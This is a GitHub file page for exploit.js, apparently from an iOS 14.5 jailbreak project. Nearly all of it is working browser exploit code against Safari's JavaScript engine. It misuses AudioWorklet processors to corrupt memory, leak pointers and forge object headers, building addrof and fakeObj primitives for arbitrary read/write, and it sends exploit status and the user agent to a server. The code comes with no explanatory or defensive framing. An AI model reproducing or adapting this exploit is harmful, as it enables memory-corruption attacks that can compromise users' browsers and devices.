forked from pwned4ever2/Creeper-14.5-14.5.1
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.js
238 lines (215 loc) · 5.64 KB
/
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
var socket = io.connect('/');
function sleep(sleepDuration) {
var now = new Date().getTime();
while (new Date().getTime() < now + sleepDuration) {
/* do nothing */
}
}
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
let data_view = new DataView(new ArrayBuffer(8));
var floatAsQword = (float) => {
data_view.setFloat64(0, float, true);
var low = data_view.getUint32(0, true);
var high = data_view.getUint32(4, true);
return low + high * 0x100000000;
};
var qwordAsTagged = (qword) => {
return qwordAsFloat(qword - 0x02000000000000);
};
var qwordAsFloat = (qword) => {
data_view.setUint32(0, qword % 0x100000000, true);
data_view.setUint32(4, qword / 0x100000000, true);
//data_view.setBigUint64(0, qword);
return data_view.getFloat64(0, true);
};
function change_container(header, arr) {
try {
} catch {}
for (var i = 0; i < 0x100000; i++) {
ds[i].cellHeader = header;
ds[i].butterfly = arr;
}
}
const MY_OBJECT_OFFSET = 0x14fb0;
//MakeJitCompiledFunction();
//MakeJitCompiledFunction();
var a = new Array(10);
for (var i = 0; i < 0x1000; i++) a[i] = Array(0x40).fill(0.0);
var b = Array(0x40).fill(0.0);
var c = Array(0x40).fill(0.0);
var ds = new Array(0x100000);
let noCoW = 13.37;
let pad = new Array(noCoW, 2.2, {}, 13.37);
let pad1 = new Array(noCoW, 2.2, {}, 13.37, 5.5, 6.6, 7.7, 8, 8);
let pad2 = new Array(noCoW, 2.2, {}, 13.37, 5.5, 6.6, 7.7, 8, 8);
var evil_arr = new Array(noCoW, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
var boxed = new Array(
qwordAsTagged(0x41414141414141),
noCoW,
{},
13.37,
5.5,
6.6,
7.7,
8,
8
);
var unboxed = new Array(noCoW, 13.37, 13.37, 13.37, 5.5, 6.6, 7.7, 8, 8);
var victim = [noCoW, 14.47, 15.57];
victim["prop"] = 13.37;
victim["prop_1"] = 13.37;
let pad3 = new Array(noCoW, 2.2, {}, 13.37, 5.5, 6.6, 7.7, 8, 8);
//var gcPreventer = [];
var structure_id = 0;
c[0] = 1.1;
var fuck = undefined;
var fuck2 = undefined;
var driver = undefined;
var stage = "leak";
var jscell_header = undefined;
var evil_arr_butterfly = undefined;
var expected_ptr = undefined;
eval(`
for(var i = 0; i < 0x10000; i++){
var tag = qwordAsTagged(0x0108230700001000)
ds[i] = {
cellHeader1: tag,
butterfly1: evil_arr,
cellHeader2: tag,
butterfly2: evil_arr,
cellHeader3: tag,
butterfly3: evil_arr
};
}
`);
b.process = (inputs, outputs, parameters) => {
//sa
if (stage == "leak") {
var expected_ptr =
(BigInt(floatAsQword(c[4])) & 0xfffffffffff00000n) - 0x100000n;
expected_ptr = Number(expected_ptr);
c[8] = qwordAsFloat(expected_ptr + 0x4010);
c[9] = qwordAsFloat(0x0);
stage = "bypass_etc";
fuck.port.postMessage(c);
//sleep(4000);
return true;
} else if (stage == "bypass_etc") {
//fuck.port.postMessage(typeof parameters);
var gcPreventer = [];
for (let i = 0; i < 2; i++) {
let a = i == 0 ? parameters : victim;
gcPreventer.push(a[0]);
}
jscell_header = gcPreventer[0];
var gcPreventer = [];
for (let i = 0; i < 2; i++) {
let a = i == 0 ? parameters : victim;
gcPreventer.push(a[1]);
}
evil_arr_butterfly = floatAsQword(gcPreventer[0]);
structure_id = floatAsQword(jscell_header) & 0xffffffff;
if (structure_id == 0) {
fuck.port.postMessage(`retry`);
c[8] = qwordAsFloat(0);
parameters = null;
//sleep(10000000);
//stage = "leak";
return false;
}
fuck.port.postMessage(
`jscell header : ${floatAsQword(jscell_header).toString(16)}`
);
//fuck.port.postMessage(`evil_arr_butterfly : ${evil_arr_butterfly.toString(16)}`);
//return false;
var cellHeader = jscell_header; //qwordAsTagged( (0x01082307 * 0x100000000) + structure_id);
//change_container(cellHeader, evil_arr);
c[8] = qwordAsFloat(evil_arr_butterfly);
evil_arr[0] = cellHeader;
evil_arr[1] = qwordAsFloat(evil_arr_butterfly - 0x8);
stage = "r/w";
return true;
} else if (stage == "r/w") {
for (var i = 0; i < 2; i++) {
let a = i == 0 ? parameters : pad;
a[0] = qwordAsFloat(0x133700001337);
}
fuck.port.postMessage(
`evil_arr length : ${evil_arr.length.toString(16)}`
);
evil_arr[0] = qwordAsFloat(0x00010100 * 0x100000000 + structure_id);
evil_arr[1] = qwordAsFloat(0);
var boxed_offset = 0;
for (var i = 0; i < evil_arr.length; i++) {
if (evil_arr[i] == qwordAsFloat(0x0041414141414140)) {
//fuck.port.postMessage(`boxed_arr length offset: ${(i).toString(16)}`);
boxed_offset = i;
break;
}
}
var addrof = (obj) => {
boxed[0] = obj;
return floatAsQword(evil_arr[boxed_offset]);
};
var fakeObj = (addr) => {
evil_arr[boxed_offset] = qwordAsFloat(addr);
return boxed[0];
};
stage = "gc_test";
return true;
} else if (stage == "gc_test") {
gc();
fuck.port.postMessage("Garbage Collected");
//sleep(100000);
return false;
}
// sleep(2000);
return true;
};
class OrigineWorklet extends AudioWorkletProcessor {
constructor() {
super();
//var fuck2 = new AudioWorkletProcessor();
return b;
}
static get parameterDescriptors() {
return [];
}
process(inputs, outputs, parameters) {
return false;
}
}
class OrigineWorklet2 extends AudioWorkletProcessor {
constructor() {
super();
//console.log(c);
this.port.onmessage = (e) => {};
fuck = this;
//fuck.port.postMessage(c);
return this;
}
static get parameterDescriptors() {
return [
{
name: "param2",
defaultValue: 0.1337,
},
];
}
process(inputs, outputs, parameters) {
//
//
//this.port.postMessage(c);
return false;
}
}
registerProcessor("OrigineWorklet", OrigineWorklet);
registerProcessor("OrigineWorklet2", OrigineWorklet2);
function go() {
console.log("Starting exploitation...");
socket.emit('exploit_start', { userAgent: navigator.userAgent });
}